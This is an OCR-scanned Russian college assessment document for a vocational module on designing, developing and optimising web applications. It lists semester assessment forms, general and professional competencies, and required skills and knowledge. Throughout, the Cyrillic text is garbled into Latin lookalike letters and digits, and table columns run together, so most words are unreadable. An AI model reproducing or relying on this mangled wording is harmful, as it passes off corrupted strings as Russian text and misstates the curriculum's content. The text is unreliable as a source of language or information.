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1. ITacmopT (poHIa OLIEHOYHBIX CPECTB

1.1. O6saacTh NpUMeHeHH st

@DOHJ OLICHOYHBIX CPEJCTB JUIsl IPOBEAEHUS TEKYIIETO KOHTPOJIS yCIIEBAEMOCTH U IIPOMEKYTOUHON
aTTectauuu odydaromuxcs (nanee — QOHJ OLICHOUHBIX CPEACTB) MpEeIHA3HAYEH AJISl IPOBEPKU PE3YIIHTATOB
ocBoeHHs mnpodeccuonanbHoro monyias I[IM.03 TlpoexktupoBanue, pa3paboTka U ONTUMH3AIMS BeO-
MPUIOKEHUH OCHOBHOU MpodecCHOHaNbHON 00pa3oBaTeIbHON MPOrpaMMbl CPEIHEro MpodeccnoHalIbHOTO
oOpazoBanust - mo cneuuanbHocTd 09.02.07 MHopManuoHHBIE CHUCTEMBI H MPOTPAMMHUPOBAHHE,
HanpaBiieHHOCTh Pa3paboTka BeO M MOOMIIBHBIX MTPHUIIOKEHUH.

[Mpodeccuonansubiii  moxyns I[IM.03 IlpoextupoBanme, pa3paboTKa W ONTUMHU3ANUS BEO-
MIPUIOKEHUN U3YYaeTCsl B TEUCHHE YEThIpEX ceMecTpoB U BKirovaeT B ce0s: MJIK.03.01 IIpoektupoBanue u
paspaborka BeO-npuioxkenuit, MJIK.03.02 Onrtumuzanus BeO-npuinoxenuit, MJIK.03.03 Oo6ecneuenue
0e30MacHOCTH BeO-IIPUIIOKEHUH, YUeOHYIO MPAKTUKY, TPOU3BOJCTBEHHYIO TPAKTHKY.

d)opMa ATTCCTAllMU 110 CEMCCTPAM.

HaumeHnoBanue Cemectp Dopma aTTecTANNHU

MJIK.03.01 IIpoextupoBanue u pa3padoTka S5 cemecTp 3aueT ¢ OLEHKOI
BEO-TIPHIIOKEHU I 6 cemecTp Kypcosas pabota

6 cemecTp DK3aMeH
MJIK.03.02 Ontumu3zanus BeO-MpUI0KCHHMA 7 cemecTtp KontposbHas padora

8 cemecTp 3ader ¢ OI[eHKOU
MJIK.03.03 Obecnieuenre 6€301macHOCTH BeO- 7 cemecTp KontposbHas padora
IIPUIIOKEHU I 8 ceMecTp 3aueT ¢ OLEHKON
VI1.03 YuebHas npakTuka 6 cemectp Otuer 1o npakTuke
VI1.03 IIpousBoaCcTBEeHHAS MTPAKTUKA 8 cemectp Otuer 1o npaxkTuke
DK3aMeH MO0 MOAYJIIO 8 cemectp DK3aMeH

@DOoHJ OIIEHOYHBIX CPEICTB IMO3BOJSIET OLEHUTH OOcTKeHue oOydaromumucs oommux (OK) u
npopeccuonanbubix (IIK) komnereHmii:
Obwue komnemenyuu (OK):
OK 01. BpiOuparb crocoObl pemieHus: 3aaad MNpoPEecCHOHANbHON JEATENbHOCTH NPUMEHUTENBHO K
pa3IMYHBIM KOHTEKCTaM.
OK 02. Hcrnonb30BaTh COBPEMEHHBIE CpEACTBA MOWCKA, aHalIM3a M HMHTEpPHpETalud HHPOpMALUU U
uH(GOPMaIIMOHHBIE TEXHOJIOTUH AJIsl BBITIOJHEHHS 3a/1a4 MPOPECCHOHATBHON AESITeTbHOCTH.
OK 03. IlnanupoBaTh M pealn30BbIBaTh COOCTBEHHOE MNPOGECCHOHATBHOE U JUYHOCTHOE pa3BUTHE,
IpeIPUHUMATEIBCKYIO IEITeILHOCTh B MpodeccnoHalbHOM cdepe, NCTIoIb30BaTh 3HAHUS 10 (PUHAHCOBOM
TPAaMOTHOCTH B Pa3IUYHBIX )KU3HEHHBIX CUTYAIUsX.
OK 04. 3¢} dexTuBHO B3aNMOICHCTBOBATH U PaOOTaTh B KOJUIEKTHBE U KOMaH/E.
OK 05. OcyiiecTBisiTh YCTHYIO U TUCBMEHHYI0O KOMMYHHKAIIMIO Ha TOCYIapCTBEHHOM sI3bIKe Poccuiickoin
deneparuyl ¢ y4eToM 0COOCHHOCTEH COIUAIBHOTO U KYJIbTYPHOTO KOHTEKCTA.
OK 06. IIposBasiTh TpakIaHCKO-NTATPUOTUYECKYIO MO3UIIHIO, IEMOHCTPUPOBATH OCO3HAHHOE MOBEJICHUE HA
OCHOBE TPAJUIIMOHHBIX POCCUMCKUX JIyXOBHO-HPAaBCTBEHHBIX IIEHHOCTEH, B TOM YHCIE C Y4YE€TOM
TapMOHM3AIlMM  MEXKHAIIMOHAIBHBIX W MEXPEIUTHO3HBIX  OTHOIICHWH, TMPUMEHSATh CTaHAapThI
AQHTUKOPPYIMLHUOHHOTO MOBEACHUS.
OK 07. ConeiicTBOBaTh COXPaHEHHUIO OKPYKaIOLIEH Cpeibl, pecypcocOepeeHHIo, MPUMEHITh 3HaHUs 00
W3MEHEHUU KIIMMaTa, IPUHIHUITEI OEPEXKIUBOTO MPOU3BOJCTBA, IPPEKTUBHO AEHCTBOBATH B YPE3BHIYAHBIX
CUTyaIUsX.
OK 08. Hcnonp3oBaTh cpeacTBa (U3MUECKON KYNBTYPHI IJII COXPAaHEHUS U YKPEIUICHUS 3JI0pOBbS B
nporecce MpohecCHOHATBHON ACATEIBPHOCTH W TMOJACPKaHUS HEOOXOIUMOTO YPOBHS (HU3HUYECKOM
[OJATOTOBJIEHHOCTH.
OK 09. ITons3oBaThcst mpoeccHoHaTBbHON JOKYMEHTAIMEH Ha TOCYTapCTBEHHOM U MHOCTPAHHOM SI3bIKaX.
Ipogpeccuonanvnvie komnemenyuu(11K):
[IK 9.1. Pa3zpabaTeiBaTh TEXHHYECKOE 3aJaHHE Ha BEO-TIPHIIOKEHHE B COOTBETCTBHU C TPEOOBaHUSIMH
3aKa3y4MKa.



[1K 9.2. Pa3zpabatpiBaTh BEO-NPUTIOKEHUE B COOTBETCTBUM C TEXHUYCCKUM 32/ IaHHEM.

[IK 9.3. PazpabatpiBath uHTEpdeENC MOIB30BaTENs BEO-TPUIOKEHUH B COOTBETCTBHH C TEXHUUYECKHM
3a/IaHUEM.

[1K 9.4. Ocy1iecTBasTh TEXHUYECKOE COMPOBOXKACHUE U BOCCTAHOBIICHNE BEO-TIPUIIOKEHHUM B COOTBETCTBUU
C TEXHUYECKUM 3a/IaHUEM.

I1K 9.5. TIpousBoauTh TeCTUpOBaHUE Pa3pabOTaHHOTO BEO MPHIIOKECHUS.

[IK 9.6. PasmemniaTh BeO MPHIIOKEHUS B CETH B COOTBETCTBHH C TEXHUYCCKUM 3aJaHHEM.

IIK 9.7. OcymecTBiaTh cOOp CTaTUCTHYECKON WH(MOpMaAIuu O paboTe BEO-NPHIIOKEHUN ISl aHAIA3a
3¢ (HEeKTUBHOCTH €0 pabOTHI.

[IK 9.8. OcymecTBiaTh ayauT O0€30MacCHOCTH BEO-TPUIIOKEHUS B COOTBETCTBHUHU C pEriiaMEeHTaMH I10
0€30MacHOCTH.

IIK 9.9. MoaepHu3upoBarh BeO-TIPHIIOKEHUE C YYETOM IMPABHJI M HOPM IOJTOTOBKH WHMOpPMAIUU IS
MOMCKOBBIX CUCTEM.

I1K 9.10. Peanu30oBbIBaTh MEPONPHUATHUS IO MPOABUKEHUIO BEO-TPUIOKEHU B ceTn MIHTEpHeT.

B pesynbrare usyuenus npodeccuoHaibHoro moayns 1IM.03 IlpoextupoBanue, pa3zpaboTka u
ONTUMU3ALMS BEO-IPUIIOKEHUH 00yUaroIuecst T0JKHbI:
uMemsv NPAKMUYecKuil Onbim:
- B HUCHOJb30BAHUU CIICLUAIBHBIX TOTOBBIX TEXHUUECKUX PEIICHUH ITpH pa3paboTKe BeO-NPUIIOKEHUI;
- BBINOJHEHUU pa3pabOTKH U MPOESKTUPOBAHUS HH()OPMAIIMOHHBIX CUCTEM;
- MOJAEpPHM3allMM BeO-IPUIOKEHUH C Yy4eTOM HpaBUI M HOPM IOATOTOBKM HMHMOpManuu Juis
MIOUCKOBBIX CHUCTEM;
- peaqu3aluy MEpOIPUATHUI 110 MPOJBIKEHUIO BEO-NIPUIIOKEHUH B ceTH MIHTepHeT.
ymemv:
- paspalaTbIBaTh MPOrpPaMMHBIN KOJ KIMEHTCKON U CepBEpHOI YacTH BEO-TPUIIOKEHUI];
- OCYIIECTBIISATh ONTUMU3ALMIO BEO-NPUIIOKEHHSI C LEJIbI0 TOBBIILIEHUS €ro pPEeWTHHra B CETU
HHurepHeT;
- paspabaThIBaTh U MPOEKTHPOBATH HHPOPMAIIMOHHBIE CHCTEMBI.
3HAMDb!
- S3BIKH MPOTPAMMHPOBAHUS M Pa3METKH Ui Pa3pabOTKH KIMEHTCKOW W CEpBEPHOM YacTH BeO-
IIPUIIOKEHUN;
- TpUHOMIB  (YHKIMOHUPOBAHUS TIOMCKOBBIX CEPBHCOB M OCOOCHHOCTH ONTHMH3ALMU BeO-
NPUIOKEHUH MO HUX;
- TIPUHIHMITEI TPOSKTHPOBAHUS U pa3padOTKi HHPOPMAITHOHHBIX CHCTEM.

1.2. Ilnanupyemble pe3yJbTaThl OCBOEHHSI KOMIIeTeH Ui
B pesynbrare ocBoeHus mnporpammbl mnpodeccuonansHoro wmoayias [IM.03IIpoexktupoBanue,

pa3paboTKa ¥ ONTUMHU3ALNS BEO-TIPUIIOKEHUN YUUTHIBAIOTCS TUIAHUPYEMBIE Pe3yIbTaThl OCBOSHUS OOIIUX
(OK) u mpodeccuonansusix (1K) kommereHmmii:

Kon Conepxanue Ilnanupyemsle pe3yabTaThbl OCBOCHHS KOMIIETECHIIMI
KoMIIeTe KOMIIETCHIIUH
HIMH




OK 01 | Beibupats CrocoObl | YMeHMsI: paclio3HaBaTh 3ajgadyy W/wid 1polieMmy B
peLeHus 3a7a4y | IpOPECCUOHATBHOM  W/MIM  COLUAJIBHOM  KOHTEKCTE;
npodeccuoHaIbLHON aHAM3UPOBATh 3aJadyy W/WiIM TpoOJeMy U BBIACIATH €€
NesITeIbHOCTH, COCTaBHbIE 4YAaCTH; OIpPENENATh 3Talbl pPEUICHUs 3a7auH;
IIPUMEHUTEIBHO K | BBSBIATE W O(PQPEKTUBHO  HCKaTh  MH(POPMALHIO,
pas3InYHbIM HEOO0XOAUMYIO Ul PELIEHU 3aJjaud /U TPOOJIEMBI;
KOHTEKCTaM COCTaBUTb TIUIAH JCWUCTBHUS; ONPEACIUTh HEO0OXOIMMBbIe

pecypcesl;

BJIAJICTh aKTyaJIbHBIMH METOAAMHU paboThI B
npoeCCHOHAIBHOM M CMEXHBIX cdepax; pealn3oBaTh
COCTaBJICHHBIN IJIaH; OLIEHUBATh PE3YyJIbTaT U IOCIEICTBUS
CBOMX JICHCTBUH (CaMOCTOSITEIPHO WJIH C IIOMOIIBIO
HaCTaBHHKA)

3HaHUA: aKTyaJbHBIH MPOGECCHOHATBHBIA M COLMAIbHBIN
KOHTEKCT, B KOTOPOM ITPUXOJUTCS paboTaTh U KUTh; OCHOBHBIE
UCTOYHUKHM HMHGOpPMALMK U PECypChl JIJs pelleHus 3agad U
mpobiieM B MPOPECCHOHATBPHOM  W/WIH  COIHAILHOM
KOHTEKCTE;

QITOPUTMBI  BBITIOJHEHHsT paboT B MpO(ECCHOHAIBLHOW W
CMEXHBIX 00JIaCTSIX; METOJIbl pabOTHl B MPO(ECCHOHANBHON U
CMEXHBIX cQepax; CTPYKTypy IUIaHa AJis peLIeHHs 3aj]ady;
MOPS0K OLIEHKHU pe3ysbTaToB peleHus 3a1a4
podecCHOHABHOM IeATEIIBHOCTH

OK 02 | Ucmons3oBars YMeHusi: oOmnpeneaTh 3aJadd IS TOUCKa WHGOpMAIIUH;
COBPEMEHHBIE CPEJCTBA | ONPENeNITh  HEOOXOAWMBIE  HWCTOYHHUKHA  MH(OPMAINH;
NOWCKA, aHalM3a W | IUIaHUPOBATh nporiecc IIOUCKaA; CTPYKTYpUPOBATh
UHTEpIpETanun MoJiy4aeMyro UH(OpMaIMIo; BBIAEIATh HanOosiee 3HaUUMOE B
uHpOpMaLuu U | IepeuHe uH(pOpMaINH; OLIEHUBATh MPAKTUYECKYIO
UH(POPMAIOHHEIE 3HaYMMOCTh PE3YyJIbTAaTOB IOMCKA; O(POPMIISATH PE3yJIbTaThI
TEXHOJIOTUH JUIs | IOUCKA
BBITTOJTHEHHSI 3a1a4 | 3HAHUSI: HOMEHKJIATypa WH(GOPMAIMOHHBIX HCTOYHUKOB,
npodeccuoHaIbHON MPUMEHSEMBIX B IPOPECCUOHATIBLHOM J1eATEIbHOCTH; MPHUEMbI
JIESATEIbHOCTH. CTpYKTypupoBaHus uHpopmauuu; Gopmar odopMieHUs

pe3yabTaTOB MOMCKa HH(OPMALUU

OK 03 | IlnanupoBatb U | YMeHusi: ONpenensiTh akTyaJbHOCTh HOPMAaTHBHO-TIPABOBOM
peaan30BbIBATH JOKYMEHTAalluM B MpO(EeCCHOHATBbHOW  JIeSATEeIbHOCTH;
coOCTBEHHOE MPUMEHSATh COBPEMEHHYIO HaydHYH Mpo(ecCHOHANTBHYIO
npodecCHOHATIbHOE U | TEPMUHOJIOTHIO; OIPENENATh U BBICTPAUBATh TPACKTOPHH
JUYHOCTHOE Ppa3BUTHE, | MPOPECCHOHAITBHOIO Pa3BUTHS U CaMOOOpPa30BaHUS
NPEANPUHUMATENLCKYIO | 3HAHUSA: COJEp)KaHUE AaKTyaJlbHOW HOPMAaTHBHO-TIPABOBOIA
JeSITeTHHOCTD B | JOKYMEHTAIINH;, COBPEMEHHAsI HAyYHAs W MpoQecCHOHATbHAS
npodeccuoHaIbHON TEPMUHOJIOTHSI; BO3MOKHBIE TPACKTOPUU POPECCUOHATHLHOTO
cepe, HCHONB30BaTh | Pa3BUTHSI U caMOOOpPa30BAHUS
3HaHUS 10 (PUHAHCOBOM
IPaMOTHOCTH B
Pa3INYHbBIX JKU3HEHHBIX
CUTYalMsIX.

OK 04 | PaGoTath B KOJUIEKTHBE | YMEHMA: OPraHU30BBIBATh pabOTy KOJUIEKTHBAa M KOMAaHJbI;
Y KOMaHJe, B3aUMO/IEHICTBOBATh C KOJJIETaMH, PyKOBOACTBOM, KIIMEHTaMHU
3P PEeKTUBHO B X07i€ MPO(ECCUOHATBHOMN 1eATEIbHOCTH
B3aMMOJICIICTBOBATh C | 3HAHUS: IICUXOJIOTUYECKUE  OCHOBBI  JESATEIbHOCTH
KOJIJIETaMH, KOJIJICKTHBA, TICUXOJIOTUYECKHE OCOOCHHOCTH JIMYHOCTH;
PYKOBOJICTBOM, OCHOBBI IPOEKTHOM JESATEIHOCTH

KIIMCHTaMHMU.




OK 05 | OcymiecTBiATh yCTHYIO | YMEHHMA: TPAaMOTHO H3JaraTb CBOM MBICIH U O(QOPMIIATH
U TUCbMEHHYIO JOKYMEHThl 1O  NpodeCCHOHAIbHOM  TeMaTHMKEe  Ha
KOMMYHHKAITIIO Ha TOCY/IapCTBEHHOM  SI3bIKE, TMPOSIBIATH TOJEPAHTHOCTH B
roCy/1apCTBEHHOM paboyeM KOJUIEKTHBE
SI3BIKE C yYETOM 3HaHMA: OCOOCHHOCTH CONHMAIBLHOTO U  KYJIBTYpHOTO
0COOEHHOCTEM KOHTEKCTA; MpaBuia 0(hopMIIEHUS! TOKYMEHTOB U MOCTPOCHUS
COIMAJILHOTO U YCTHBIX COOOIICHUH.

KYJIBTYPHOTO
KOHTEKCTA.

OK 06 | IIposiBnsATH YMeHus: OUCHIBAaTh 3HAYUMOCTE CBOEH CIIEIIMAILHOCTH
IpaXKTaHCKO-

HaTPUOTHICCKYTO 3HAHMA: CYIIHOCTh I'PAXKIAHCKO-IIATPUOTUYECKON IO3UIMH,
ITO3HIHIO, 00111eYeI0BEUECKIX LIEHHOCTEH; 3HAYUMOCTD
ACMOHCTPUPOBATH npo(eCCHOHAIBHOM AEATENLHOCTH 10 CIIEUAIbHOCTH
OCO3HAHHOE TOBE/ICHUC

Ha OCHOBE

TPaIUIIHOHHBIX

0011e4eI0BeueCKuX

LIEHHOCTE.

OK 07 | CogmericTBOBaThH YMeHusi: coOMOaaTh HOPMBI IKOJIOTHYECKON O€30MacHOCTH;
COXPaHCHHIO OTIPE/ICIIATh HAMPABICHHUS PECYPCOCOCPEKECHUSI B paMKax
OKpYXarolie  cpefsbl, | MpodeccnoHaNbHOM NeATENbHOCTH M0 CHeIHATbHOCTH
pecypcocOepereHuIo, -
> hEKTHBHO 3HaHuUsA: MpaBuia 9KOJIOTHYECKOH 0€30IMacCHOCTH IPH BEICHUN
JIeHCTBOBATD s l'IpO(I\)’eCCI/IOHaJ'IBHOI/I AEATENBHOCTH;  OCHOBHBIE  PECypCbl,
Upe3BHIUANHBIX 3aJIeHCTBOBaHHBIC B MPO(PECCHOHAIBHOMN JIEATEIIBHOCTH; ITyTH
e —— obecrnedeHus pecypcocoepeeHust

OK 08 | Ucnonb3oBaTh YMeHusi: HCNONB30BaTh (U3KYIBTYPHO-03JOPOBUTEIBHYIO
cpenctBa (pU3MUECKON | JEATENbHOCTh JJS  YKPEIUIGHHs] 3J0POBbs, JTOCTHKEHHS
KYJIBTYPBI JUISL | )KU3HEHHBIX W TPO(ECCUOHATBHBIX IIeNIel; TPHUMEHSTH
COXpaHEHHUS U | pallUOHAJIbHbIE  TPHUEMbl  JBUTATEIbHBIX  (QYHKIUH B
VKPEIUICHUS 3JI0POBbS B | MPOPECCHOHATBHOM JeSITEILHOCTH; TIOJIH30BATHCS CPEICTBAMU
mporecce npoUTaKTUKY TIEpEeHANPSKEHUST XapaKTEPHBIMU I JaHHON
npodecCuOHATIbHON CIEIUATLHOCTH
JESITEIbHOCTH U | 3HaHMA: poJb (PUBUYECKON KYIbTYphl B OOIIEKYIbTYPHOM,
OIS PIKAHUS mpoecCHOHATEHOM W COIMAIBHOM Pa3BUTHH YEJIOBEKa;
HEOO0XO/MMOTO YPOBHS | OCHOBBI 3I0pOBOTO oOpa3za KU3HU; YCIOBUS
buznyeckoit npodeccnoHalbHOM ~ JEATeNbHOCTM W 30HBI  pHCKa
MOJITOTOBJICHHOCTH. (U3MUECKOTO 3J0pPOBbS IS CIENHATBHOCTH; CpEACTBA

PO HIIAKTUKH TTePCHATTPSKCHIS

OK 09 | [Tonb3oBatbes YMeHusl: TOHUMATh OOMIMN CMBICT YETKO MPOU3HECEHHBIX

npodeccuoHanbHOM BBICKA3bIBaHUI Ha HM3BECTHBIE TeMbl (IpodeccuoHalbHbIE U

JIOKyMEHTalMel Ha
rOCYJapCTBEHHOM U
WHOCTPAHHOM SI3bIKaX.

OBITOBBIC), TIOHUMATh TEKCTHI Ha 0a30BbIe TPO(ecCHOHATBLHBIE
TEMBbI; Y4YaCTBOBAaThb B JUaJiorax Ha 3HaKOMBIC 06IIII/Ie u
npodeccuoHanbHbIE TEMBI; CTPOUTH TPOCTHIC BBHICKA3BIBAHHS O
cebe u 0 cBoed mMpodecCHOHATBLHON NEeATeTbHOCTH; KPaTKO
00OCHOBBIBATh U OOBSICHUTH CBOMU JCUCTBUSA (TEKyIIHE H
IUTAHUPYEMBIE); THCATh IMPOCThIE CBS3HBIC COOOIINEHHUS Ha
3HAKOMBIE MJIM MHTEPECYIoNe MpohecCHOHATBHBIC TEMBI




3HAHMA: TpaBWIa TMOCTPOCHHUS TMPOCTBIX H  CIOXKHBIX
MPeUIOKEHU Ha MpodecCHOHABHBIE TEMbBI; OCHOBHBIC
o0meynoTpeduTenbHbIC [J1aroJibl (ObrTOBaS u
npodeccuoHalbHasl  JIEKCUKA); JIGKCHYECKUH  MUHHMYM,
OTHOCSIIIHIACS K OMUCAHUIO MPEAMETOB, CPEJICTB U MPOIIECCOB
npoeCCHOHATLHON NeSITeTbHOCTH; 0COOEHHOCTH
MIPOU3HOIICHHSI;, IPABUIJIA YTCHUS TEKCTOB MPOQPECCHOHATBHON
HaIpPaBICHHOCTH

[1IK 9.1.

PazpabarbiBath
TEXHUYECKOE 3aJIaHKe
Ha BeO-TIPUIIOKEHUE B
COOTBETCTBHUHU C
TpeOOBaHUSMU
3aKa3uuKa.

IIpakTHYecKHii ONBIT:

OcymecTBnaATh cOOp  NPEIBAapUTENBbHBIX  JaHHBIX  JUIS
BBISIBIICHUS TPEOOBaHU K BEO-TIPUIIOKECHHUIO.

OmnpenensaTs nepBoHaYaIbHbIE TPEOOBAHMS 3aKa3uMKa K BeO-
IIPWJIOKEHUIO ¥ BO3MOXKHOCTH MX PEaIn3aluu.

[lonGupaTth onTUMalIbHBIE BapUaHTHl pealu3aluu 3axad U
COIIACOBAHUE UX C 3aKA3UUKOM.

OdopMIIATh TEXHUYECKOE 33/1aHUE.

Ymenus:

[IpoBoauTh anketupoBanue. [IpoBOIUTH HHTEPBHIOMPOBAHUE.
OdopMIsATh TEXHUYECKYIO JOKYMEHTANHI. OCYyIECTBISITH
BBIOODP OJHOTO U3 TUIIOBBIX PEIICHUN.

PaGorare co  CHENMATU3UPOBAHHBIM  MPOTPAMMHBIM
obecrieueHrneM Ui IJIAaHUPOBAHUS BPEMEHU U OpPraHU3aliH
paboTHI C KJIMEHTAMHU.

3Hanus:

WNHcTpyMEHTBI U METObI BBISIBICHUS TpeOOBaHUI.

Tumnossle pemienus Mo pa3paboTke BeO-MPHIIOKEHHH.

Hopmbr  u  cranpmaptel  oopmileHHS ~ TEXHMUYECKOM
JOKYMEHTAIUU.

[puHIMIBI MIPOEKTUPOBAHUS u pa3paboTKu
MH(pOPMAIIMOHHBIX CHCTEM.

[1IK 9.2.

Pa3pabaTsiBath BeO-

IMPUITOKCHUC B
COOTBETCTBHUH C
TCXHUYCCKUM
3aJaHUCM.

IIpakTu4eckunii ONbIT:

BrInonHATE BEPCTKY CTpaHUIl BEO-TIPUTIOKEHHI.

Koauposats Ha si3pIKax BeO-IPOrpaMMHUPOBAHUS.
Pa3pabatpiBaTh 6a3bl JaHHBIX.

Hcnonb30BaTh CrieabHBIC TOTOBBIE TEXHUYCCKHUE PEIICHHS
pu pa3paboTKe BeO-TPUIIOKEHUH.

BrimmoaHATE pa3paboTKy u MIPOCKTUPOBAHUE
WH(OPMAIIMOHHBIX CHCTEM.
YMmenus:

PazpabaTbiBaTh NMpOrpaMMHBIN KOJI KIMEHTCKON M CEpPBEPHOM
4acTH BEO-NPUIIOKEHUI.

Hcnonb30Bath S3bIK pa3METKH CTPAHUL] BEO-TIPUIIOKEHUS.
OdopMsTh KOJI IPOrpaMMbl B COOTBETCTBHH CO CTaHAAPTOM
KOJUPOBAHUS.

Hcnonb3oBaTh OOBEKTHBIE MOJENU BEO-IPUIOKEHUNH U
Opaysepa.

Hcnonws3oBath OTKphITEIE OMOIMOTEKH (framework).
Hcnonp3oBate BBIOPaHHYIO Cpeay MpOrpaMMHPOBAHUS U
CpeZACTBa CHCTEMBI yIpaBlieHHUs 0a3aMH JaHHbIX.
OcyimecTBiATh B3aMMOJEHCTBUE KIMEHTCKOM U CEpBEPHOMU
yacTeil BeO-TpUIIOKCHUH.

PazpabaThiBaTh ¥ IPOEKTUPOBATH MH(POPMAITMOHHBIE CUCTEMBbI

3HaHuA:
SI3pIKM TIPOrpaMMHUPOBAHUS M PasMETKH Uil Pa3paboOTKU
KJIMEHTCKOM M CEpBEPHOM YacTH BEO-TIPUIIOKCHUA.




[Tpuniunsl paboTel OOBEKTHONH MOJENU BEO-IPUIIOKEHUN U
Opaysepa.

OCHOBBI TEXHOJIOTUH KIIUEHT-CEPBEP.

OcoOeHHOCTH OTOOpaKEeHUs BEO-TIPUIIOKEHHH B pa3Mepax
pabodero mpocTpaHCTBa YCTPOMCTB.

OcobenHoctu oTOOpakeHus 3jieMeHTOoB P B pa3aumvHbIX
Opay3epax.

OcoOeHHOCTH BBIOpAaHHOW Cpellbl TMPOTPAaMMHPOBAHUS U
CHCTEMBI yIpaBlieHHs 0a3aMH JTaHHBIX.

[IK 9.3. | Pa3paGaTsiBath IIpakTHYecKHii ONBIT:

uHTEepdeiic PazpabatsiBaTh HHTEp(DEIiC MONB30BaTENS.

MOJIH30BATEIS BeO- | Pa3pabarbiBaTh aHuManioHHbIE Y (HEKTHI.

IIPUIIOKEHU N B | YMeHus:

COOTBETCTBUU ¢ | Pa3pabarpiBaTh mporpaMMHBIA KOJ| KJIMEHTCKOW 4YacTH BeO-

TEXHUYECKUM MIPUIIOKEHUH.

3aJJaHUEM. OdopMIATE KOJ MPOrpaMMBI B COOTBETCTBUHU CO CTaHIIAPTOM
KOJUPOBAHUS.
Hcnonp3oBaTe OOBEKTHBIE MOJEIU BEO-IPUIIOKECHUNH U
Opaysepa.
Pa3pabarpiBaTh aHMMANMIO IS BEO-TIPWIIOKCHHHA IS
MOBBIIIECHUS ero JOCTYITHOCTH u BU3YaJIbHON
npuBiekarenbHocTu (Canvas).
3HaHuA:
S3pIKM TIpOrpaMMHUpPOBaHUS U pa3METKU Ui pa3paboTKu
KJIMEHTCKOM yacTu BeO-NIPUI0KEHUH.
[IpuHnunsl paboTel 00BEKTHON MOJENH BEO-NIPUIIOKEHUN U
Opaysepa.
TexHonoruu g pazpabOTKH aHUMALIKH.
CriocoObl  MaHUMYJSALUU  3JEMEHTaMH CTpaHMIbI  BeO-
MIPUIIOXKEHUS.
Buasl anuManum 1 cniocoObl €e MPUMEHEHHS.

[IK 9.4. | OcymiecTBIATH IIpakTHYecKHid ONBIT:

TEXHUYECKOE VYcranaBnuBaTh M HacTpauBaTh BeO-cepBepbl, CYBJl mns

CONPOBOXKICHUE U | OpraHu3aiuu padoThl BEO-TIPUIIOKEHUI.

BOCCTaHOBJeHHE BeO- | Mcrmonb30BaTh MHCTpYMEHTAJbHBIE CPEJICTBA  KOHTPOJI

MIPUIIOKEHU N B | Bepcuil u 0a3 JaHHbIX.

COOTBETCTBUU c | [IpoBoaute paboTHl MO pE3epBHOMY KONUPOBAHHUIO BeO-

TEXHUYECKUM MIPUIIOKEHUH.

3a/laHuEM. BeInonHATE peructpanuio 1 00paboTKy 3arpocoB 3aKa3unka B

CITY0€ TeXHHUUECKOU MOICPKKH.

Ymenus:

[lonkmrouaTe U HacCTpauBaTh CUCTEMBbl MOHHTOPUHIA pabOThI
Be6-nipunoskenuii u cOopa CTATUCTUKH €T0 UCTIOJIb30BAHUS.
VYcranaBnuBath W HacTpauBarh BeO-cepBepa, CYBJ/l nans
OpraHu3aIuy padoThl BEO-TIPHIIOKEHUH.

Pa6orats ¢ cucremamu Helpdesk.

BrisicHsaTe 13 Oecenpl ¢ 3aKa3uMKOM M MOHHMMATh MPUYHMHBI
BOZHUKIIUX AaBapUUHBIX CUTyalud ¢ HUHGOPMAIMOHHBIM
pecypcoMm.

AHanM3UpOBATh U PEIaTh TUIOBBIE 3AMPOCH 3aKA3YHKOB.
BbINONMHATE pernaMeHTHbIE MPOLENYPHl MO0 PE3EPBUPOBAHUIO
JAHHBIX.

YcranaBiIMBaTh NPUKIIAIHOE MPOrPAMMHOE OOecTiedeHne JUIs
pe3epBUPOBaHUS BEO-TIPUITOKEHHIH.




3HaHus:

OcHOBHBIE TIOKa3aTeIN HCIOIb30BaHMus BeO-npuiokeHuin u
CIOCOOBI X aHAJIM3A.

PernmamenTtsl paboT 1O pe3epBHOMY KONMHMPOBAHUIO U
Pa3BEepPTHIBAHUIO PE3EPBHOM KOMUN BEO-TIPUITOKECHH.
CrniocoOblI U cpeicTBa MOHUTOPUHTA PA0OTHI BEO-IIPUITOKEHUH.
MeTto/b1 pa3BepThIBaHUS BEO-CITYKO U CEPBEPOB.

[lpuHnMnel opraHuzauuu  paboOThl  CIIYKObl TEXHHYECKOM
MOA/ICPHKKH.

OO01ure OCHOBBI PEIICHUsT MPAKTHUECKUX 33134 10 CO3/IaHUI0
pPE3EPBHBIX KOIHUIA.

I1K 9.5.

[IpousBoauThH
TECTUPOBAHUE
pa3pabOTaHHOTO
MIPUIIOKEHUS.

BeO

IIpakTu4eckunii ONbIT:

Hcnonws3oBaTh  MHCTPYMEHTAJIbHbBIC
Bepcuid U 0a3 JaHHBIX, yueTa JedeKTOB.
TecTupoBarh BEO-NPUIIOKEHUSI C TOYKH 3PEHHUS JIOTHYECKOM
LETTOCTHOCTH.

TecTupoBaTh HHTETpPALMIO BEO-TIPUIIOKEHHUSI C BHEIIHUMU
CEpPBUCAMU U YUYETHBIMU CUCTEMAaMHU.

CpeacTBa  KOHTPOJLA

Ymenus:

BBINONHATE O0TNIAAKY U TECTUPOBAHUE NMPOrPaMMHOI0 Koja (B
TOM YHCJIE C UCTOIb30BAHUEM UHCTPYMEHTAIbHBIX CPE/ICTB).
BbINONHATE ONTHUMM3ALKI0 U PePAKTOPUHI MPOrPaMMHOIO
KOJ1a.

KoaupoBaTh Ha CKpUNITOBBIX SI3bIKaX IPOrPAMMUPOBAHHS.
TectupoBarh BeO-IPUIIOKEHHSI C HCIOJIB30BAaHUEM TECT-
IIJIAHOB.

[IpyuMeHSITh UHCTPYMEHTHI TOATOTOBKH TECTOBBIX TAHHBIX.
BriOupate 1 KOMOMHHPOBaTb TEXHHKH TECTUPOBaHMs BeO-
MIPUIIOKEHUMN.

Paborath ¢ cucreMaMu KOHTPOJII BEPCHIl B COOTBETCTBHHU C
perIaMeHTOM HCIIOJIb30BAHMS CUCTEMBI KOHTPOJISI BEPCHI.
BbINONHATE NPOBEPKY BEO-NIPUIIOKEHHUS O TEXHUUYECKOMY
3a/IaHUIO.

3Hanusa:

CeTeBble POTOKOJIBI U OCHOBBI WED-TexHOIOTHil.
CoBpeMeHHbIE  METOJUMKH  TECTUPOBAHUS
MOJTh30BaTEIHCKUX HHTEPHEHCOB.

OCHOBHEBIE MPUHIUIIBI OTJIaAKH 51
IIPOTPaMMHBIX IIPOIYKTOB.

MeTtoasl opraHu3anMu padOTHl MPHU MPOBEACHUU MPOLEAYD
TeCTI/IpOBaHI/ISI.

Bo03M0OXXHOCTH HMCHONB3YyEMOM CHUCTEMBI KOHTPOJISI BEPCUH U
BCIIOMOT'aTCIIBHBIX I/IHCTPYMQHTaJ'II)HI)IX nporpaMMme
